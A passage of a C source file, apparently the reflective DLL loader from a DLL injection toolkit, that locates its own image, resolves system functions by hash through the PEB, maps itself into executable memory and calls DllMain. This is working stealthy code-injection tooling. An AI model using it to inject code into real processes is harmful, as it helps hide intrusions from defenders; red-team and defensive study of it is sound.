// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||||
|
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||||
|
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
|
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||||
|
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
// POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
//===============================================================================================//
|
||||||
|
#include "ReflectiveLoader.h"
|
||||||
|
//===============================================================================================//
|
||||||
|
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
|
||||||
|
HINSTANCE hAppInstance = NULL;
|
||||||
|
//===============================================================================================//
|
||||||
|
#pragma intrinsic( _ReturnAddress )
|
||||||
|
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
|
||||||
|
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
|
||||||
|
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
|
||||||
|
// available (and no inline asm available under x64).
|
||||||
|
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
|
||||||
|
//===============================================================================================//
|
||||||
|
|
||||||
|
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||||
|
#define OUTPUTDBG(str) pOutputDebug((LPCSTR)str)
|
||||||
|
#else /* ENABLE_OUTPUTDEBUGSTRING */
|
||||||
|
#define OUTPUTDBG(str) do{}while(0)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
|
||||||
|
// otherwise the DllMain at the end of this file will be used.
|
||||||
|
|
||||||
|
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
|
||||||
|
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
|
||||||
|
|
||||||
|
// This is our position independent reflective DLL loader/injector
|
||||||
|
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||||
|
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
|
||||||
|
#else
|
||||||
|
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
|
||||||
|
#endif
|
||||||
|
{
|
||||||
|
// the functions we need
|
||||||
|
LOADLIBRARYA pLoadLibraryA = NULL;
|
||||||
|
GETPROCADDRESS pGetProcAddress = NULL;
|
||||||
|
VIRTUALALLOC pVirtualAlloc = NULL;
|
||||||
|
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
|
||||||
|
#ifdef ENABLE_STOPPAGING
|
||||||
|
VIRTUALLOCK pVirtualLock = NULL;
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||||
|
OUTPUTDEBUG pOutputDebug = NULL;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
USHORT usCounter;
|
||||||
|
|
||||||
|
// the initial location of this image in memory
|
||||||
|
ULONG_PTR uiLibraryAddress;
|
||||||
|
// the kernels base address and later this images newly loaded base address
|
||||||
|
ULONG_PTR uiBaseAddress;
|
||||||
|
|
||||||
|
// variables for processing the kernels export table
|
||||||
|
ULONG_PTR uiAddressArray;
|
||||||
|
ULONG_PTR uiNameArray;
|
||||||
|
ULONG_PTR uiExportDir;
|
||||||
|
ULONG_PTR uiNameOrdinals;
|
||||||
|
DWORD dwHashValue;
|
||||||
|
|
||||||
|
// variables for loading this image
|
||||||
|
ULONG_PTR uiHeaderValue;
|
||||||
|
ULONG_PTR uiValueA;
|
||||||
|
ULONG_PTR uiValueB;
|
||||||
|
ULONG_PTR uiValueC;
|
||||||
|
ULONG_PTR uiValueD;
|
||||||
|
ULONG_PTR uiValueE;
|
||||||
|
|
||||||
|
// STEP 0: calculate our images current base address
|
||||||
|
|
||||||
|
// we will start searching backwards from our callers return address.
|
||||||
|
uiLibraryAddress = caller();
|
||||||
|
|
||||||
|
// loop through memory backwards searching for our images base address
|
||||||
|
// we dont need SEH style search as we shouldnt generate any access violations with this
|
||||||
|
while( TRUE )
|
||||||
|
{
|
||||||
|
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
|
||||||
|
{
|
||||||
|
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||||
|
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
|
||||||
|
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
|
||||||
|
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
|
||||||
|
{
|
||||||
|
uiHeaderValue += uiLibraryAddress;
|
||||||
|
// break if we have found a valid MZ/PE header
|
||||||
|
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
uiLibraryAddress--;
|
||||||
|
}
|
||||||
|
|
||||||
|
// STEP 1: process the kernels exports for the functions our loader needs...
|
||||||
|
|
||||||
|
// get the Process Enviroment Block
|
||||||
|
#ifdef _WIN64
|
||||||
|
uiBaseAddress = __readgsqword( 0x60 );
|
||||||
|
#else
|
||||||
|
#ifdef WIN_ARM
|
||||||
|
uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
|
||||||
|
#else _WIN32
|
||||||
|
uiBaseAddress = __readfsdword( 0x30 );
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
|
||||||
|
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
|
||||||
|
|
||||||
|
// get the first entry of the InMemoryOrder module list
|
||||||
|
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
|
||||||
|
while( uiValueA )
|
||||||
|
{
|
||||||
|
// get pointer to current modules name (unicode string)
|
||||||
|
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
|
||||||
|
// set bCounter to the length for the loop
|
||||||
|
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
|
||||||
|
// clear uiValueC which will store the hash of the module name
|
||||||
|
uiValueC = 0;
|
||||||
|
|
||||||
|
// compute the hash of the module name...
|
||||||
|
do
|
||||||
|
{
|
||||||
|
uiValueC = ror( (DWORD)uiValueC );
|
||||||
|
// normalize to uppercase if the module name is in lowercase
|
||||||
|
if( *((BYTE *)uiValueB) >= 'a' )
|
||||||
|
uiValueC += *((BYTE *)uiValueB) - 0x20;
|
||||||
|
else
|
||||||
|
uiValueC += *((BYTE *)uiValueB);
|
||||||
|
uiValueB++;
|
||||||
|
} while( --usCounter );
|
||||||
|
|
||||||
|
// compare the hash with that of kernel32.dll
|
||||||
|
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
|
||||||
|
{
|
||||||
|
// get this modules base address
|
||||||
|
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||||
|
|
||||||
|
// get the VA of the modules NT Header
|
||||||
|
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||||
|
|
||||||
|
// uiNameArray = the address of the modules export directory entry
|
||||||
|
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||||
|
|
||||||
|
// get the VA of the export directory
|
||||||
|
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||||
|
|
||||||
|
// get the VA for the array of name pointers
|
||||||
|
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
|
||||||
|
|
||||||
|
// get the VA for the array of name ordinals
|
||||||
|
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
|
||||||
|
|
||||||
|
usCounter = 3;
|
||||||
|
#ifdef ENABLE_STOPPAGING
|
||||||
|
usCounter++;
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||||
|
usCounter++;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// loop while we still have imports to find
|
||||||
|
while( usCounter > 0 )
|
||||||
|
{
|
||||||
|
// compute the hash values for this function name
|
||||||
|
dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
|
||||||
|
|
||||||
|
// if we have found a function we want we get its virtual address
|
||||||
|
if( dwHashValue == LOADLIBRARYA_HASH
|
||||||
|
|| dwHashValue == GETPROCADDRESS_HASH
|
||||||
|
|| dwHashValue == VIRTUALALLOC_HASH
|
||||||
|
#ifdef ENABLE_STOPPAGING
|
||||||
|
|| dwHashValue == VIRTUALLOCK_HASH
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||||
|
|| dwHashValue == OUTPUTDEBUG_HASH
|
||||||
|
#endif
|
||||||
|
)
|
||||||
|
{
|
||||||
|
// get the VA for the array of addresses
|
||||||
|
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||||
|
|
||||||
|
// use this functions name ordinal as an index into the array of name pointers
|
||||||
|
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||||
|
|
||||||
|
// store this functions VA
|
||||||
|
if( dwHashValue == LOADLIBRARYA_HASH )
|
||||||
|
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||||
|
else if( dwHashValue == GETPROCADDRESS_HASH )
|
||||||
|
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||||
|
else if( dwHashValue == VIRTUALALLOC_HASH )
|
||||||
|
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||||
|
#ifdef ENABLE_STOPPAGING
|
||||||
|
else if( dwHashValue == VIRTUALLOCK_HASH )
|
||||||
|
pVirtualLock = (VIRTUALLOCK)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||||
|
else if( dwHashValue == OUTPUTDEBUG_HASH )
|
||||||
|
pOutputDebug = (OUTPUTDEBUG)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// decrement our counter
|
||||||
|
usCounter--;
|
||||||
|
}
|
||||||
|
|
||||||
|
// get the next exported function name
|
||||||
|
uiNameArray += sizeof(DWORD);
|
||||||
|
|
||||||
|
// get the next exported function name ordinal
|
||||||
|
uiNameOrdinals += sizeof(WORD);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if( (DWORD)uiValueC == NTDLLDLL_HASH )
|
||||||
|
{
|
||||||
|
// get this modules base address
|
||||||
|
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||||
|
|
||||||
|
// get the VA of the modules NT Header
|
||||||
|
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||||
|
|
||||||
|
// uiNameArray = the address of the modules export directory entry
|
||||||
|
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||||
|
|
||||||
|
// get the VA of the export directory
|
||||||
|
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||||
|
|
||||||
|
// get the VA for the array of name pointers
|
||||||
|
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
|
||||||
|
|
||||||
|
// get the VA for the array of name ordinals
|
||||||
|
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
|
||||||
|
|
||||||
|
usCounter = 1;
|
||||||
|
|
||||||
|
// loop while we still have imports to find
|
||||||
|
while( usCounter > 0 )
|
||||||
|
{
|
||||||
|
// compute the hash values for this function name
|
||||||
|
dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
|
||||||
|
|
||||||
|
// if we have found a function we want we get its virtual address
|
||||||
|
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
|
||||||
|
{
|
||||||
|
// get the VA for the array of addresses
|
||||||
|
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||||
|
|
||||||
|
// use this functions name ordinal as an index into the array of name pointers
|
||||||
|
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||||
|
|
||||||
|
// store this functions VA
|
||||||
|
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
|
||||||
|
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||||
|
|
||||||
|
// decrement our counter
|
||||||
|
usCounter--;
|
||||||
|
}
|
||||||
|
|
||||||
|
// get the next exported function name
|
||||||
|
uiNameArray += sizeof(DWORD);
|
||||||
|
|
||||||
|
// get the next exported function name ordinal
|
||||||
|
uiNameOrdinals += sizeof(WORD);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// we stop searching when we have found everything we need.
|
||||||
|
if( pLoadLibraryA
|
||||||
|
&& pGetProcAddress
|
||||||
|
&& pVirtualAlloc
|
||||||
|
#ifdef ENABLE_STOPPAGING
|
||||||
|
&& pVirtualLock
|
||||||
|
#endif
|
||||||
|
&& pNtFlushInstructionCache
|
||||||
|
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||||
|
&& pOutputDebug
|
||||||
|
#endif
|
||||||
|
)
|
||||||
|
break;
|
||||||
|
|
||||||
|
// get the next entry
|
||||||
|
uiValueA = DEREF( uiValueA );
|
||||||
|
}
|
||||||
|
|
||||||
|
// STEP 2: load our image into a new permanent location in memory...
|
||||||
|
|
||||||
|
// get the VA of the NT Header for the PE to be loaded
|
||||||
|
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||||
|
|
||||||
|
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
|
||||||
|
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
|
||||||
|
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||||
|
|
||||||
|
#ifdef ENABLE_STOPPAGING
|
||||||
|
// prevent our image from being swapped to the pagefile
|
||||||
|
pVirtualLock((LPVOID)uiBaseAddress, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// we must now copy over the headers
|
||||||
|
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
|
||||||
|
uiValueB = uiLibraryAddress;
|
||||||
|
uiValueC = uiBaseAddress;
|
||||||
|
|
||||||
|
while( uiValueA-- )
|
||||||
|
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
|
||||||
|
|
||||||
|
// STEP 3: load in all of our sections...
|
||||||
|
|
||||||
|
// uiValueA = the VA of the first section
|
||||||
|
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
|
||||||
|
|
||||||
|
// itterate through all sections, loading them into memory.
|
||||||
|
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
|
||||||
|
while( uiValueE-- )
|
||||||
|
{
|
||||||
|
// uiValueB is the VA for this section
|
||||||
|
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
|
||||||
|
|
||||||
|
// uiValueC if the VA for this sections data
|
||||||
|
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
|
||||||
|
|
||||||
|
// copy the section over
|
||||||
|
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
|
||||||
|
|
||||||
|
while( uiValueD-- )
|
||||||
|
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
|
||||||
|
|
||||||
|
// get the VA of the next section
|
||||||
|
uiValueA += sizeof( IMAGE_SECTION_HEADER );
|
||||||
|
}
|
||||||
|
|
||||||
|
// STEP 4: process our images import table...
|
||||||
|
|
||||||
|
// uiValueB = the address of the import directory
|
||||||
|
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
|
||||||
|
|
||||||
|
// we assume there is an import table to process
|
||||||
|
// uiValueC is the first entry in the import table
|
||||||
|
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
||||||
|
|
||||||
|
// iterate through all imports until a null RVA is found (Characteristics is mis-named)
|
||||||
|
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
|
||||||
|
{
|
||||||
|
OUTPUTDBG("Loading library: ");
|
||||||
|
OUTPUTDBG((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
|
||||||
|
OUTPUTDBG("\n");
|
||||||
|
|
||||||
|
// use LoadLibraryA to load the imported module into memory
|
||||||
|
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
|
||||||
|
|
||||||
|
if ( !uiLibraryAddress )
|
||||||
|
{
|
||||||
|
OUTPUTDBG("Loading library FAILED\n");
|
||||||
|
|
||||||
|
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// uiValueD = VA of the OriginalFirstThunk
|
||||||
|
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
|
||||||
|
|
||||||
|
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
|
||||||
|
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
|
||||||
|
|
||||||
|
// itterate through all imported functions, importing by ordinal if no name present
|
||||||
|
while( DEREF(uiValueA) )
|
||||||
|
{
|
||||||
|
// sanity check uiValueD as some compilers only import by FirstThunk
|
||||||
|
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
|
||||||
|
{
|
||||||
|
// get the VA of the modules NT Header
|
||||||
|
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||||
|
|
||||||
|
// uiNameArray = the address of the modules export directory entry
|
||||||
|
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||||
|
|
||||||
|
// get the VA of the export directory
|
||||||
|
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||||
|
|
||||||
|
// get the VA for the array of addresses
|
||||||
|
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||||
|
|
||||||
|
// use the import ordinal (- export ordinal base) as an index into the array of addresses
|
||||||
|
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
|
||||||
|
|
||||||
|
// patch in the address for this imported function
|
||||||
|
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// get the VA of this functions import by name struct
|
||||||
|
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
|
||||||
|
|
||||||
|
OUTPUTDBG("Resolving function: ");
|
||||||
|
OUTPUTDBG(((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
|
||||||
|
OUTPUTDBG("\n");
|
||||||
|
|
||||||
|
// use GetProcAddress and patch in the address for this imported function
|
||||||
|
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
|
||||||
|
}
|
||||||
|
// get the next imported function
|
||||||
|
uiValueA += sizeof( ULONG_PTR );
|
||||||
|
if( uiValueD )
|
||||||
|
uiValueD += sizeof( ULONG_PTR );
|
||||||
|
}
|
||||||
|
|
||||||
|
// get the next import
|
||||||
|
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
|
||||||
|
}
|
||||||
|
|
||||||
|
// STEP 5: process all of our images relocations...
|
||||||
|
|
||||||
|
// calculate the base address delta and perform relocations (even if we load at desired image base)
|
||||||
|
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
|
||||||
|
|
||||||
|
// uiValueB = the address of the relocation directory
|
||||||
|
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
|
||||||
|
|
||||||
|
// check if their are any relocations present
|
||||||
|
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
|
||||||
|
{
|
||||||
|
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
|
||||||
|
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
||||||
|
|
||||||
|
// and we itterate through all entries...
|
||||||
|
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
|
||||||
|
{
|
||||||
|
// uiValueA = the VA for this relocation block
|
||||||
|
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
|
||||||
|
|
||||||
|
// uiValueB = number of entries in this relocation block
|
||||||
|
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
|
||||||
|
|
||||||
|
// uiValueD is now the first entry in the current relocation block
|
||||||
|
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
|
||||||
|
|
||||||
|
// we itterate through all the entries in the current block...
|
||||||
|
while( uiValueB-- )
|
||||||
|
{
|
||||||
|
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
|
||||||
|
// we dont use a switch statement to avoid the compiler building a jump table
|
||||||
|
// which would not be very position independent!
|
||||||
|
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
|
||||||
|
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
|
||||||
|
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
|
||||||
|
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
|
||||||
|
#ifdef WIN_ARM
|
||||||
|
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
|
||||||
|
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
|
||||||
|
{
|
||||||
|
register DWORD dwInstruction;
|
||||||
|
register DWORD dwAddress;
|
||||||
|
register WORD wImm;
|
||||||
|
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
|
||||||
|
dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
|
||||||
|
// flip the words to get the instruction as expected
|
||||||
|
dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
|
||||||
|
// sanity chack we are processing a MOV instruction...
|
||||||
|
if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
|
||||||
|
{
|
||||||
|
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
|
||||||
|
wImm = (WORD)( dwInstruction & 0x000000FF);
|
||||||
|
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
|
||||||
|
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
|
||||||
|
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
|
||||||
|
// apply the relocation to the target address
|
||||||
|
dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;
|
||||||
|
// now create a new instruction with the same opcode and register param.
|
||||||
|
dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 );
|
||||||
|
// patch in the relocated address...
|
||||||
|
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
|
||||||
|
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
|
||||||
|
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
|
||||||
|
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
|
||||||
|
// now flip the instructions words and patch back into the code...
|
||||||
|
*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
|
||||||
|
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
|
||||||
|
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
|
||||||
|
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
|
||||||
|
|
||||||
|
// get the next entry in the current relocation block
|
||||||
|
uiValueD += sizeof( IMAGE_RELOC );
|
||||||
|
}
|
||||||
|
|
||||||
|
// get the next entry in the relocation directory
|
||||||
|
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// STEP 6: call our images entry point
|
||||||
|
|
||||||
|
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
|
||||||
|
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
|
||||||
|
|
||||||
|
OUTPUTDBG("Flushing the instruction cache");
|
||||||
|
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
|
||||||
|
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
|
||||||
|
|
||||||
|
// call our respective entry point, fudging our hInstance value
|
||||||
|
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||||
|
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
|
||||||
|
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
|
||||||
|
#else
|
||||||
|
// if we are injecting an DLL via a stub we call DllMain with no parameter
|
||||||
|
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
|
||||||
|
return uiValueA;
|
||||||
|
}
|
||||||
|
//===============================================================================================//
|
||||||
|
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
